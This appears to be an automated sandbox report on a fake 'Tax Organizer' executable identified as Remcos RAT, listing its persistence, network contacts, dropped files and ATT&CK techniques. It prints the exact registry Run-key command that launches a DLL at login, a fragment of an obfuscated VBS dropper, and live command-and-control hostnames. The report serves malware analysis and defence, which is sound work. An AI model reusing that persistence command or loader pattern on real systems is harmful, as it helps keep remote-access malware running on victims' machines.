Window detected: More than 3 window changes detected

Persistence and Installation Behavior

Windows Shell Script Host drops VBS files

Source: C:\Windows\SysWOW64\wscript.exe	File created: C:\Users\user\Start Menu\Programs\Startup\FDNUA.vbs
Source: C:\Windows\SysWOW64\wscript.exe	File created: C:\Users\user\Start Menu\Programs\Startup\FDNUA.vbs

Boot Survival

Creates autostart registry keys with suspicious names

Source: C:\Windows\SysWOW64\reg.exe

Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run *Chrome

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk
Source: C:\Windows\SysWOW64\wscript.exe	File created: C:\Users\user\Start Menu\Programs\Startup\FDNUA.vbs
Source: C:\Windows\SysWOW64\wscript.exe	File created: C:\Users\user\Start Menu\Programs\Startup\WindowsServices-RDGVW.lnk
Source: C:\Windows\SysWOW64\wscript.exe	File created: C:\Users\user\Start Menu\Programs\Startup\FDNUA.vbs
Source: C:\Windows\SysWOW64\wscript.exe	File created: C:\Users\user\Start Menu\Programs\Startup\WindowsServices-RDGVW.lnk

Source: C:\Windows\SysWOW64\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run *Chrome
Source: C:\Windows\SysWOW64\reg.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run *Chrome

Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\SysWOW64\wscript.exe	Window found: window name: WSH-Timer
Source: C:\Windows\SysWOW64\wscript.exe	Window found: window name: WSH-Timer

Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe

Window / User API: threadDelayed 9812

Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe TID: 4800	Thread sleep count: 78 > 30
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe TID: 4800	Thread sleep time: -234000s >= -30000s
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe TID: 4800	Thread sleep count: 9812 > 30
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe TID: 4800	Thread sleep time: -29436000s >= -30000s

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\wscript.exe

Network Connect: 148.72.177.212 443

Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Process created: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe "C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "*Chrome" /t REG_SZ /d "rundll32.exe C:\Users\user\AppData\Roaming\HEARTB.dll",EntryPoint /f
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\Memory.vbs"
Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\Memory.vbs"

Source: C:\Windows\SysWOW64\wscript.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\wscript.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Yara detected Remcos RAT

Source: Yara match	File source: 0000000D.00000002.1735043470.00000000025A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1755219715.0000000011993000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2490459455.0000000000638000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Detected Remcos RAT

Source: C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe

Mutex created: \Sessions\1\BaseNamedObjects\Rmc-DRFJJD

Yara detected Remcos RAT

Source: Yara match	File source: 0000000D.00000002.1735043470.00000000025A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.1755219715.0000000011993000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2490459455.0000000000638000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	211 Scripting	Valid Accounts	1 Windows Management Instrumentation	211 Scripting	111 Process Injection	1 Masquerading	OS Credential Dumping	1 Query Registry	Remote Services	Data from Local System	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	111 Registry Run Keys / Startup Folder	111 Registry Run Keys / Startup Folder	1 Modify Registry	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	1 Remote Access Software	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 DLL Side-Loading	1 Virtualization/Sandbox Evasion	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	111 Process Injection	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Rundll32	LSA Secrets	13 System Information Discovery	SSH	Keylogging	13 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Source	Detection	Scanner	Label	Link
http://geoplugin.net/json.gp	100%	URL Reputation	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
dd20fzx9mj46f.cloudfront.net	3.161.193.61	true	false	high
privacycollector-production-457481513.us-east-1.elb.amazonaws.com	3.217.28.88	true	false	high
textbin.net	148.72.177.212	true	true	unknown
widget.uservoice.com	104.17.27.92	true	false	high
api.echosign.com	52.71.63.232	true	false	high
faststaynow.duckdns.org	46.183.222.118	true	true	unknown
geoplugin.net	178.237.33.50	true	false	unknown
cdn-sharing.adobecc.map.fastly.net	151.101.1.138	true	false	unknown
adobetarget.data.adobedc.net	63.140.39.9	true	false	unknown
adobe.com.ssl.d1.sc.omtrdc.net	63.140.39.130	true	false	unknown
www.google.com	142.250.105.105	true	false	high
by2.uservoice.com	104.17.27.92	true	false	high
prod.adobeccstatic.com	99.86.229.114	true	false	unknown
use.typekit.net	unknown	unknown	false	high
c.evidon.com	unknown	unknown	false	high
ims-na1.adobelogin.com	unknown	unknown	false	high
assets.adobedtm.com	unknown	unknown	false	high
l.betrad.com	unknown	unknown	false	high
dc-api-v2.adobecontent.io	unknown	unknown	true	unknown
p.typekit.net	unknown	unknown	false	high
dc-api.adobecontent.io	unknown	unknown	true	unknown
adobe.tt.omtrdc.net	unknown	unknown	true	unknown
cdn-sharing.adobecc.com	unknown	unknown	true	unknown
static.adobelogin.com	unknown	unknown	false	high
files-download2.acrocomcontent.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://geoplugin.net/json.gp	true	URL Reputation: phishing	unknown
about:blank	false		low

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
23.40.205.16	unknown	United States	20940	AKAMAI-ASN1EU	false
151.101.1.138	cdn-sharing.adobecc.map.fastly.net	United States	54113	FASTLYUS	false
23.209.188.7	unknown	United States	9498	BBIL-APBHARTIAirtelLtdIN	false
52.202.204.11	unknown	United States	14618	AMAZON-AESUS	false
46.183.222.118	faststaynow.duckdns.org	Latvia	52048	DATACLUBLV	true
18.235.168.50	unknown	United States	14618	AMAZON-AESUS	false
142.250.105.113	unknown	United States	15169	GOOGLEUS	false
50.16.240.61	unknown	United States	14618	AMAZON-AESUS	false
104.18.32.195	unknown	United States	13335	CLOUDFLARENETUS	false
172.64.155.61	unknown	United States	13335	CLOUDFLARENETUS	false
3.161.193.61	dd20fzx9mj46f.cloudfront.net	United States	16509	AMAZON-02US	false
63.140.39.130	adobe.com.ssl.d1.sc.omtrdc.net	United States	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
148.72.177.212	textbin.net	United States	30083	AS-30083-GO-DADDY-COM-LLCUS	true
104.18.32.77	unknown	United States	13335	CLOUDFLARENETUS	false
13.226.100.23	unknown	United States	16509	AMAZON-02US	false
44.198.86.118	unknown	United States	14618	AMAZON-AESUS	false
23.22.254.206	unknown	United States	14618	AMAZON-AESUS	false
96.7.225.33	unknown	United States	20940	AKAMAI-ASN1EU	false
23.48.105.219	unknown	United States	20940	AKAMAI-ASN1EU	false
142.250.105.94	unknown	United States	15169	GOOGLEUS	false
13.226.100.103	unknown	United States	16509	AMAZON-02US	false
23.11.229.233	unknown	United States	20940	AKAMAI-ASN1EU	false
142.250.105.105	www.google.com	United States	15169	GOOGLEUS	false
23.209.188.17	unknown	United States	9498	BBIL-APBHARTIAirtelLtdIN	false
172.253.124.94	unknown	United States	15169	GOOGLEUS	false
104.17.27.92	widget.uservoice.com	United States	13335	CLOUDFLARENETUS	false
23.47.218.150	unknown	United States	16625	AKAMAI-ASUS	false
64.233.185.101	unknown	United States	15169	GOOGLEUS	false
63.140.39.9	adobetarget.data.adobedc.net	United States	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
172.66.0.163	unknown	United States	13335	CLOUDFLARENETUS	false
44.196.228.180	unknown	United States	14618	AMAZON-AESUS	false
99.86.229.114	prod.adobeccstatic.com	United States	16509	AMAZON-02US	false
52.71.63.232	api.echosign.com	United States	14618	AMAZON-AESUS	false
18.207.85.246	unknown	United States	14618	AMAZON-AESUS	false
178.237.33.50	geoplugin.net	Netherlands	8455	ATOM86-ASATOM86NL	false
184.31.61.57	unknown	United States	16625	AKAMAI-ASUS	false
50.16.103.66	unknown	United States	14618	AMAZON-AESUS	false
3.233.142.19	unknown	United States	14618	AMAZON-AESUS	false
172.217.215.84	unknown	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.16

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1428438
Start date and time:	2024-04-18 23:35:54 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://acrobat.adobe.com/id/urn:aaid:sc:VA6C2:24e81d17-b801-4fad-ae25-120d655923c5
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled
Analysis Mode:	stream
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.expl.evad.win@28/101@44/273

Warnings

Exclude process from analysis (whitelisted): SgrmBroker.exe, MoUsoCoreWorker.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.253.124.94, 23.48.105.219, 23.48.105.218, 142.250.105.113, 142.250.105.139, 142.250.105.138, 142.250.105.102, 142.250.105.101, 142.250.105.100, 172.217.215.84, 34.104.35.123, 172.64.155.61, 104.18.32.195, 23.47.218.150, 23.47.218.170, 96.7.225.33, 96.7.225.25, 23.209.188.17, 23.209.188.13, 23.40.205.16, 23.40.205.50, 18.235.168.50, 44.198.86.118, 52.202.204.11, 23.22.254.206, 52.5.13.197, 54.227.187.23, 172.66.0.163, 162.159.140.165, 3.233.142.19, 44.196.228.180, 104.18.32.77, 172.64.155.179, 23.194.116.10, 23.194.116.6, 184.31.61.57, 50.16.240.61, 52.55.37.80, 52.207.38.44, 52.72.20.72, 44.218.120.116, 54.158.100.91, 18.207.85.246, 54.144.73.197, 34.193.227.236, 107.22.247.231, 23.11.229.233, 23.11.229.163, 23.209.188.7, 13.226.100.23, 13.226.100.103, 13.226.100.58, 13.226.100.91
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: https://acrobat.adobe.com/id/urn:aaid:sc:VA6C2:24e81d17-b801-4fad-ae25-120d655923c5

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\AN5UOLP8\json[1].json

Download File

Process:	C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.995620093649274
Encrypted:	false
SSDEEP:
MD5:	334018F02CE31BCBB4864D602B557FE5
SHA1:	C6DE43E8D6B5C026C0B0A56A898A3F00B282B881
SHA-256:	F70CE925C3923E25A5ADB7089E7EE752E771FBD073888ABFC426138C9094F1B3
SHA-512:	31EF486A2F75226594BC553CBAFA84B645B6ED456F35F363C8EFD6229F4A731981CA1B7736CD4BD739DDCA885F068E96692BB16C7A906314B52220DC63E318BB
Malicious:	false
Reputation:	unknown
Preview:	{. "geoplugin_request":"81.181.57.52",. "geoplugin_status":200,. "geoplugin_delay":"1ms",. "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.",. "geoplugin_city":"Marietta",. "geoplugin_region":"Georgia",. "geoplugin_regionCode":"GA",. "geoplugin_regionName":"Georgia",. "geoplugin_areaCode":"",. "geoplugin_dmaCode":"524",. "geoplugin_countryCode":"US",. "geoplugin_countryName":"United States",. "geoplugin_inEU":0,. "geoplugin_euVATrate":false,. "geoplugin_continentCode":"NA",. "geoplugin_continentName":"North America",. "geoplugin_latitude":"34.0414",. "geoplugin_longitude":"-84.5053",. "geoplugin_locationAccuracyRadius":"1000",. "geoplugin_timezone":"America\/New_York",. "geoplugin_currencyCode":"USD",. "geoplugin_currencySymbol":"$",. "geoplugin_currencySymbol_UTF8":"$",. "geoplugin_currencyConverter":0.}

C:\Users\user\AppData\Local\Temp\Memory.vbs

Download File

Process:	C:\Users\user\Downloads\2023 Tax Organizer\Tax Organizer 2023\Tax Organizer.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	7100401
Entropy (8bit):	4.988480648210604
Encrypted:	false
SSDEEP:
MD5:	8F3213DD5A26F9FAF8B278B11C3C2C8F
SHA1:	E2AF8417A760EDBCAD8FF75BA7EED8F7BD653487
SHA-256:	F90C2EC81FB78E657DC3D359BCF59A557D56DDC8E1B33E9B205707A221E21F36
SHA-512:	0BBE6ACF8AB4E704FEF80960EB50044E2978CF3D8B38AEA837AE49019BE24AA4C6090BA0E84D3D4C636697079E6D44323E976010E83EA93F9F7DB95C2D2F7159
Malicious:	true
Reputation:	unknown
Preview:	'Hi, This is a good day for me and you , GoodBye ...LRPIF = "7247256"..On Error Resume Next..LRPIF = "7247256"..INLNT ="68+230"..EPXCH ="227+40"..UPIQJ ="159+202"..LPLNN ="45+237"..JGHAL ="157+151"..OYKYP ="86+18"..FCCCS ="18+216"..RPXJI ="155+44"..WPHFQ ="67+209"..GQIPP ="163+156"..BZQHP ="121+222"..KHOEK ="146+191"..ZBLBA ="58+50"..YALWP ="188+139"..MXJGP ="121+154"..BKBOH ="172+108"..ITZTF ="159+209"..LJRWG ="165+2"..SEJDQ ="171+85"..ODJZE ="160+92"..TSRIR ="63+153"..CDOJY ="224+115"..LFYEI ="76+235"..LYJMV ="99+132"..FKNOP ="188+196"..LKAFB ="91+93"..TJZFX ="24+180"..KWXMB ="211+164"..CCWRN ="82+6"..EZXWF ="236+77"..XADJS ="68+50"..TRHAE ="185+237"..RCNXR ="69+6"..NRRGD ="115+149"..AQLZV ="90+170"..MRPIV ="180+39"..RMSVC ="248+31"..SGTVU ="209+41"..XQGXE ="162+148"..SUREZ ="219+234"..EEIMJ ="116+86"..HHOFF ="144+28"..YIMGH ="227+103"..CNDQN ="171+19"..ITKND ="248+236"..DZYSR ="83+164"..JXDLX ="231+99"..XZRMS ="161+235"..MCBZZ ="170+162"..FQTWM ="31+115"..YXIAW ="33+232"..FXXTV ="

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Apr 18 20:36:28 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	3.9924590726752753
Encrypted:	false
SSDEEP:
MD5:	021DE06528D4CFD6E59C446E3389F030
SHA1:	0CC4C25893F3320710C5D18DD918334829770A21
SHA-256:	B0A9E21299F9BD75E25D62E2299FC959B4AA7B58182460A7F7BE3A0E01AF3E7D
SHA-512:	A61B151A11750369E1D74339D43245805632BC7C06EDE5A180EF38C4EFD59AA0E7D2CF3086DBDA78D0D27C0D4C241D163C057B304C0A0212DA8729C6B2E0E3D9
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.......x...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............9.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Apr 18 20:36:28 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2675
Entropy (8bit):	4.006217507753116
Encrypted:	false
SSDEEP:
MD5:	2D4BD60B0778FDAB47B02838B94D9275
SHA1:	919AD1AD1166CF368E776344A05BBD90C31C5C6B
SHA-256:	6E3DF363CB2B328A679B56866EB42659F15A6A0568D7841D2A60E3700C3F4DB7
SHA-512:	B89902170A4B810893518A68389945FB8BCB8EC105D3B83231640601A7901EAFBE95D05E34C78F76B55244B21A95671A78360D1914806C01FE4354272A0C0AC0
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....G.x...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............9.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:05:01 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2689
Entropy (8bit):	4.014535489622295
Encrypted:	false
SSDEEP:
MD5:	A71307B64444C79029785EEDE244AB03
SHA1:	8E38DF17C07276B930DDCC5FCCA100C39F71614D
SHA-256:	ADD2FB9D963033D8E3234377D8A0D37A3AC01D635D98D85E33443306CFE8CD73
SHA-512:	433C2CF3C5DE433B61080E7BE172B1B6F97443DC1D3A03E22E15E7287AABA1856585784B43EB18E10CD3C6829230F74A9913598A6363DB84A7F401A76E6B34A5
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............9.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Apr 18 20:36:28 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	4.007541605665338
Encrypted:	false
SSDEEP:
MD5:	2ACC9610576B07A4FC1E32584FFC38F3
SHA1:	E4EB34E6CE0A9D96DCBAB6099C590C21C27D3F8F
SHA-256:	203077F1F7291D2CB03C03FD067A3AEFD80F64D82BFE0F06CF76E51C5E2539A8
SHA-512:	507C768942CC7ABFDE5C0946C328C25E7588CD8F2FD83CF6F131D19669C60B20C807B57077034351619275027BFF5558DFCC03C48EAF258D84A74CD58117D45F
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,......x...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.X......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............9.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Apr 18 20:36:28 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.996196690900734
Encrypted:	false
SSDEEP:
MD5:	622BC01F3B1C286E4BFC6F6F86107C2F
SHA1:	36B7E24A497737EF9572EE2207B4E4AC635CBF05
SHA-256:	74CF3AC898D4FECAE6011F389C4A5E26C15D6BB5A51C1609EDF6FD7F603DCDF1
SHA-512:	8F9CDF0114A7C11213852626F828D28A26C566B95E5E25A5C43763E52F2B2AC36B80CE8FC9E26873B3E60B497AAE1C675537A810C267516CEFF10F4B81E12612
Malicious:	false
Reputation:	unknown
